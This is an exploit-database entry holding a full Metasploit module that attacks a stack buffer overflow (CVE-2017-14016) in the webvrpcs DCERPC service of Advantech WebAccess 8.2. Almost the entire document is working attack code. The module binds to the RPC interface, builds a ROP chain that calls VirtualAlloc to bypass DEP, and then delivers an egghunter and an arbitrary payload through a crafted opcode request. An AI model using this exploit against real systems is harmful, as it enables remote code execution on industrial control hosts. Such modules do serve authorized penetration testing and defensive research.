Advantech WebAccess 8.2 Stack Buffer Overflow

2017.12.13
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Advantech WebAccess 8.2. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZDI', '17-938' ], [ 'CVE', '2017-14016' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31', { 'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14 'Slide' => 0x07048f5b, # retn 'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04 } ], ], 'DisclosureDate' => 'Nov 02 2017', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(4592)]) end def create_rop_chain() # this target opts into dep rop_gadgets = [ 0x020214c6, # POP EAX # RETN [BwKrlAPI.dll] 0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll] 0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll] 0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll] 0x0201a646, # POP EBP # RETN [BwKrlAPI.dll] 0x07024822, # & push esp # ret [BwPAlarm.dll] 0x070442dd, # POP EAX # RETN [BwPAlarm.dll] 0xffffffff, # Value to negate, will become 0x00000001 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] 0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll] rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), 0x02030af7, # POP EAX # RETN [BwKrlAPI.dll] 0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx) 0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll] 0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll] 0x07078df5, # POP EAX # RETN [BwPAlarm.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] 0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll] 0x0706fe66, # POP EDI # RETN [BwPAlarm.dll] rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), 0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll] 0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll] 0x90909090, # nop 0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # send the request to get the handle resp = dcerpc.call(0x4, [0x02000000].pack('V')) handle = resp.last(4).unpack('V').first print_good("Got a handle: 0x%08x" % handle) egg_options = { :eggtag => "0day" } egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options) # apparently this is called a ret chain overflow = [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Jmp']].pack('V') overflow << [target['Ret']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << create_rop_chain() overflow << egghunter overflow << egg overflow << rand_text_alpha(0x1000-overflow.length) # sorry but I dont like msf's ndr class. sploit = [handle].pack('V') sploit << [0x000138bd].pack('V') # opcode we are attacking sploit << [0x00001000].pack('V') # size to copy sploit << [0x00001000].pack('V') # size of string sploit << overflow print_status("Trying target #{target.name}...") begin dcerpc_call(0x1, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse ensure disconnect end handler end end


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